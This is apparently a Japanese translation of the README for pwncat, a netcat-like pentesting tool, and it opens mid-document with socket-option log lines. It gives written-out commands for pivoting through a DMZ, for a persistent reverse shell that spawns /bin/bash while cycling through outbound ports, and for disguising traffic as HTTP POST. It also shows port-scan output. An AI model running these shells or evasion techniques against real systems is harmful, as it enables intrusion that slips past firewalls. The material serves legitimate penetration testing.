INFO: [bind-sock] IPv4: IP_OPTIONS: 0
INFO: [bind-sock] IPv4: IP_HDRINCL: 0
INFO: [bind-sock] IPv4: IP_TOS: 0
INFO: [bind-sock] IPv4: IP_TTL: 64
INFO: [bind-sock] IPv4: IP_RECVOPTS: 0
INFO: [bind-sock] IPv4: IP_RECVRETOPTS: 0
INFO: [bind-sock] IPv4: IP_RETOPTS: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_IF: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_TTL: 1
INFO: [bind-sock] IPv4: IP_MULTICAST_LOOP: 1
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_TTL: 0
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_LOOP: 0
INFO: [bind-sock] IPv4: IP_MAX_MEMBERSHIPS: 0
INFO: [bind-sock] IPv4: IP_TRANSPARENT: 0
INFO: [bind-sock] TCP: TCP_NODELAY: 0
INFO: [bind-sock] TCP: TCP_MAXSEG: 536
INFO: [bind-sock] TCP: TCP_CORK: 0
INFO: [bind-sock] TCP: TCP_KEEPIDLE: 7200
INFO: [bind-sock] TCP: TCP_KEEPINTVL: 75
INFO: [bind-sock] TCP: TCP_KEEPCNT: 9
INFO: [bind-sock] TCP: TCP_SYNCNT: 6
INFO: [bind-sock] TCP: TCP_LINGER2: 60
INFO: [bind-sock] TCP: TCP_DEFER_ACCEPT: 0
INFO: [bind-sock] TCP: TCP_WINDOW_CLAMP: 0
INFO: [bind-sock] TCP: TCP_INFO: 10
INFO: [bind-sock] TCP: TCP_QUICKACK: 1
INFO: [bind-sock] TCP: TCP_FASTOPEN: 0
シナリオ
#### ローカルUDPポートフォワーディング
**シナリオ**
1. アリスは外部から到達可能(ただしUDPのみ)
2. ボブはアリスのマシンからのみ到達可能```
| |
Outside | DMZ | private subnet
| |
| |
+-----------------+ UDP +-----------------+ TCP +-----------------+
| The cat | -----|----> | Alice | -----|----> | Bob |
| | | | pwncat -L | | | MySQL |
| 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 |
+-----------------+ | +-----------------+ | +-----------------+
pwncat -u 72.0.0.1 3306 | pwncat -u \ |
| -L 72.0.0.1:3306 \ |
| 10.0.0.1 3306 |
シナリオ
#### Remote UDP ポート転送
**シナリオ**
1. Alice は外部から到達できない
2. Alice は外部への接続が許可されている (UDP: DNS のみ)
3. Bob には Alice のマシンからのみアクセスできる```
| |
Outside | DMZ | private subnet
| |
| |
+-----------------+ UDP +-----------------+ TCP +-----------------+
| The cat | <----|----- | Alice | -----|----> | Bob |
| | | | pwncat | | | MySQL |
| 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 |
+-----------------+ | +-----------------+ | +-----------------+
pwncat -u -l 53 | pwncat -u --reconn \ |
| -R 56.0.0.1:4444 \ |
| 10.0.0.1 3306 |
対象マシンから許可されているアウトバウンドポートが不明な場合、クライアント(例:リバースシェルの場合)にアウトバウンドポートを無期限に探索するように指示できます。```bash
pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53
クライアントが起動して動作している場合、生のソケットを使用して着信トラフィックを確認するか、Wiresharkやtcpdumpのようなツールを使用して、クライアントがどこからあなたに接続できるかを特定してください。
クライアントがあなたに接続できる1つ以上のポートを見つけた場合、単にローカルでリスナーを起動し、接続が戻ってくるのを待ちます。```bash
pwncat -l <ip> <port>
クライアントがあなたに接続すると、動作中のリバースシェルが得られます。誤ってまたは意図的にローカルのリスニングサーバーを停止した場合、クライアントは接続が成功するまでポートを再試行します。リバースシェルクライアントを強制終了するには、--safe-word を使用できます(クライアント起動時)。
これらがすべてうまくいかない場合は、UDPを使用したり、パケットをHTTPなどのより高レベルのプロトコルにラップするなどの他の対策を追加できます。トラフィックを変換する方法については、PSE または以下の例を参照してください。
pwncat は、データ送信前および受信後にカスタムコードを注入するためのPythonベースのスクリプティングエンジンを提供します。
以下のエントリポイント関数を含むPythonファイルを提供するだけで済みます:```python def transform(data, pse): # Example to reverse a string return data[::-1]
関数名は `transform` とし、解析された引数は `data` と `pse` という名前にする必要があります。
それ以外は、好きなだけコードを追加できます。`pwncat` の各インスタンスは2つのスクリプトを受け取ることができます:
1. `--script-send`: 送信前に適用されるスクリプト
2. `--script-recv`: 受信後に適用されるスクリプト
APIと詳細については[こちら](https://github.com/cytopia/pwncat/blob/master/pse)を参照してください。
#### 例1: 自作の非対称暗号化
> PSE: [asym-enc](https://github.com/cytopia/pwncat/blob/master/pse/asym-enc) ソースコード
これにより、トラフィックが非対称に暗号化されます。これは、両側で異なるシフト長を使用して非対称性を*エミュレート*する、非常に基本的な[ROT13](https://en.wikipedia.org/wiki/ROT13)実装にすぎません。同様に、PSE用のGPGベースの非対称暗号化を実装することもできます。```bash
# server
pwncat -vvvv -l localhost 4444 \
--script-send pse/asym-enc/pse-asym_enc-server_send.py \
--script-recv pse/asym-enc/pse-asym_enc-server_recv.py
# client
pwncat -vvvv localhost 4444 \
--script-send pse/asym-enc/pse-asym_enc-client_send.py \
--script-recv pse/asym-enc/pse-asym_enc-client_recv.py
PSE: http-post ソースコード
これにより、すべてのトラフィックが有効なHTTP POSTリクエストにラップされ、通常のHTTPトラフィックのように見えます。```bash
pwncat -vvvv -l localhost 4444
--script-send pse/http-post/pse-http_post-pack.py
--script-recv pse/http-post/pse-http_post-unpack.py
```bash
# client
pwncat -vvvv localhost 4444 \
--script-send pse/http-post/pse-http_post-pack.py \
--script-recv pse/http-post/pse-http_post-unpack.py
$ sudo netstat -tlpn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:4444 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN tcp6 0 0 ::1:631 :::* LISTEN tcp6 0 0 ::1:25 :::* LISTEN tcp6 0 0 ::1:4444 :::* LISTEN tcp6 0 0 :::1053 :::* LISTEN tcp6 0 0 :::902 :::* LISTEN
#### UDP
以下のUDPポートが公開されています:```bash
$ sudo netstat -ulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address
udp 0 0 0.0.0.0:631 0.0.0.0:*
udp 0 0 0.0.0.0:5353 0.0.0.0:*
udp 0 0 0.0.0.0:39856 0.0.0.0:*
udp 0 0 0.0.0.0:68 0.0.0.0:*
udp 0 0 0.0.0.0:68 0.0.0.0:*
udp6 0 0 :::1053 :::*
udp6 0 0 :::5353 :::*
udp6 0 0 :::57728 :::*
$ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST Warning: 127.0.0.1 giving up on port because retransmission cap hit (2). Nmap scan report for localhost (127.0.0.1) Host is up (0.000035s latency). Other addresses for localhost (not scanned): ::1 Not shown: 65529 closed ports PORT STATE SERVICE 68/udp open|filtered dhcpc 631/udp open|filtered ipp 1053/udp open|filtered remote-as 5353/udp open|filtered zeroconf 39856/udp open|filtered unknown 40488/udp open|filtered unknown
Nmap done: 1 IP address (1 host up) scanned in 179.15 seconds
real 2m52.446s user 0m0.844s sys 0m2.571s
##### netcat```bash
$ time nc -z localhost 1-65535 -u -4 -v
Connection to localhost 68 port [udp/bootpc] succeeded!
Connection to localhost 631 port [udp/ipp] succeeded!
Connection to localhost 1053 port [udp/*] succeeded!
Connection to localhost 5353 port [udp/mdns] succeeded!
Connection to localhost 39856 port [udp/*] succeeded!
real 0m18.734s
user 0m1.004s
sys 0m2.634s
$ time pwncat -z localhost 1-65535 -u -4 Scanning 65535 ports [+] 68/UDP open (IPv4) [+] 631/UDP open (IPv4) [+] 1053/UDP open (IPv4) [+] 5353/UDP open (IPv4) [+] 39856/UDP open (IPv4)
real 0m7.309s user 0m6.465s sys 0m4.794s
## :information_source: FAQ
**完全なFAQはこちらを参照:** https://docs.pwncat.org/en/latest/faq.html
**Q**: `pwncat` は `netcat` と互換性がありますか?
**A**: はい、接続モード、待機モード、およびゼロI/Oモードにおいて完全に互換性があります。
`pwncat` を `netcat`、`ncat` または類似のツールと組み合わせて使用することもできます。
**Q**: X 上でも動作しますか?
**A**: 現在の状態では、Python 2、3、pypy2、pypy3 で動作し、Linux と MacOS で十分にテストされています。Windows のサポートも利用可能ですが、実験的と見なされています([統合テスト](https://github.com/cytopia/pwncat/actions) を参照)。
**Q**: バグを見つけた/新機能を提案したいです。どうすればいいですか?
**A**: バグ報告や機能強化については、[こちら](https://github.com/cytopia/pwncat/issues) で issue を開いてください。
**Q**: どうすればこのプロジェクトを支援できますか?
**A**: お気遣いありがとうございます!まずはこのプロジェクトにスターを付けてフィードバックをいただき、詳細については [CONTRIBUTING.md](https://github.com/cytopia/pwncat/blob/master/CONTRIBUTING.md) をご覧ください。
## :sunrise: アートワーク
<table>
<thead>
<tr>
<th>種類</th>
<th>アーティスト</th>
<th>画像</th>
<th>ライセンス</th>
</tr>
</thead>
<tbody>
<tr>
<td>ロゴ</td>
<td><a href="https://github.com/maifz">maifz</a></td>
<td><a href="https://github.com/cytopia/pwncat/blob/master/art/logo.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/a1b54927c2019b933f6e456079c612aff45d525e69c6058199d8fe049916146f.png" style="height:128px;" height="128" alt="pwncat logo" title="pwncat logo" /></a></td>
<td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
</tr>
<tr>
<td>バナー 1</td>
<td><a href="https://github.com/maifz">maifz</a></td>
<td><a href="https://github.com/cytopia/pwncat/blob/master/art/banner-1.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/51461eddf94bb0ed53b8d28478113978cf87ea31e645b2afc8e1783053e8bafc.png" style="height:128px;" height="128" alt="pwncat banner" title="pwncat banner" /></a></td>
<td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
</tr>
<tr>
<td>バナー 2</td>
<td><a href="https://github.com/maifz">maifz</a></td>
<td><a href="https://github.com/cytopia/pwncat/blob/master/art/banner-2.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/1deb2e118b970b2b974f682e9ef087bbc5cc9c18674b5d4cbbdf967885d119c9.png" style="height:128px;" height="128" alt="pwncat banner" title="pwncat banner" /></a></td>
<td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
</tr>
</tbody>
</table>
## :lock: [cytopia](https://github.com/cytopia) セキュリティツール
以下は、私が管理しているセキュリティツールとドキュメントの一覧です。
| 名前 | カテゴリ | 言語 | 説明 |
|---------------------|---------------------|-------------|------|
| **[offsec]** | ドキュメント | Markdown | Offsec チェックリスト、ツール、例 |
| **[header-fuzz]** | 列挙 | Bash | HTTP ヘッダーのファジング |
| **[smtp-user-enum]**| 列挙 | Python 2+3 | SMTP ユーザー列挙ツール |
| **[urlbuster]** | 列挙 | Python 2+3 | 可変 Web ディレクトリファザー |
| **[pwncat]** | ピボット | Python 2+3 | クロスプラットフォーム netcat の強化版 |
| **[kusanagi]** | ペイロード生成 | Python 3 | Bind/Reverse シェルペイロードジェネレーター |
| **[badchars]** | リバースエンジニアリング | Python 2+3 | バッドキャラクター生成ツール |
| **[fuzza]** | リバースエンジニアリング | Python 2+3 | TCP ファジングツール |
| **[docker-dvwa]** | プレイグラウンド | PHP | ローカル権限昇格チャレンジ付き DVWA |
[offsec]: https://github.com/cytopia/offsec
[header-fuzz]: https://github.com/cytopia/header-fuzz
[smtp-user-enum]: https://github.com/cytopia/smtp-user-enum
[urlbuster]: https://github.com/cytopia/urlbuster
[pwncat]: https://github.com/cytopia/pwncat
[kusanagi]: https://github.com/cytopia/kusanagi
[badchars]: https://github.com/cytopia/badchars
[fuzza]: https://github.com/cytopia/fuzza
[docker-dvwa]: https://github.com/cytopia/docker-dvwa
## :octocat: コントリビューション
このプロジェクトの改善にご協力いただくには、**[コントリビューションガイドライン](https://github.com/cytopia/pwncat/blob/master/CONTRIBUTING.md)** をご覧ください。
## :exclamation: 免責事項
このツールは法的な目的でのみ使用されるものとします。ユーザーは、このツールを使用して行われたすべての行動に対して全責任を負います。著者は、このツールによって引き起こされた損害について一切の責任を負いません。これらの条件に同意できない場合は、このツールを使用しないでください。
## :page_facing_up: ライセンス
**[MIT ライセンス](https://github.com/cytopia/pwncat/blob/master/LICENSE.txt)**
Copyright (c) 2020 **[cytopia](https://github.com/cytopia)**